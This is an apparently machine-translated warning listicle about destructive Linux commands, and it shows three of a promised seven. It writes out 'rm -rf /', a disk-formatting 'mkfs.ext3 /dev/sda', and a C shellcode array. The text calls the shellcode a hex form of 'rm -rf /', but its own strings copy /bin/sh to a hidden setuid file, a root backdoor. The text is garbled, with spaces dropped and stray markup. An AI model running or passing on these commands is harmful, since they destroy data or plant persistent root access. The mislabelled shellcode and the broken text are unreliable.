Seven highly damaging Linux system commands

If you use Linux, remember to don't let silly kids type the following commands, although these commands may seem complicated, but they can still have a serious impact on your system.

There are some programs and systems that will affect you, and some will erase your disk directly. There is almost no room for recovery.

1, Code:

rm-rf/

This is very simple, the root directory will be polished.

2, Code:

charesp[]__attribute__((section(".text")))/*esp

release*/

="\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68"

"\\xff\\xff\\xff\\xff \\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99"

"\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7"

"\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56"

"\\x8d\\x73\\x08\\x56\\ X53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31"

"\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69"< Br>

"\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00"

"cp-p/bin/sh/tmp/.beyond;chmod4755

/tmp/.beyond;";

Didn't understand? Oh, it's actually hexadecimal [rm-rf/].

3, Code:

mkfs.ext3/dev/sda

Wipe behavior is undoubtedly dangerous.
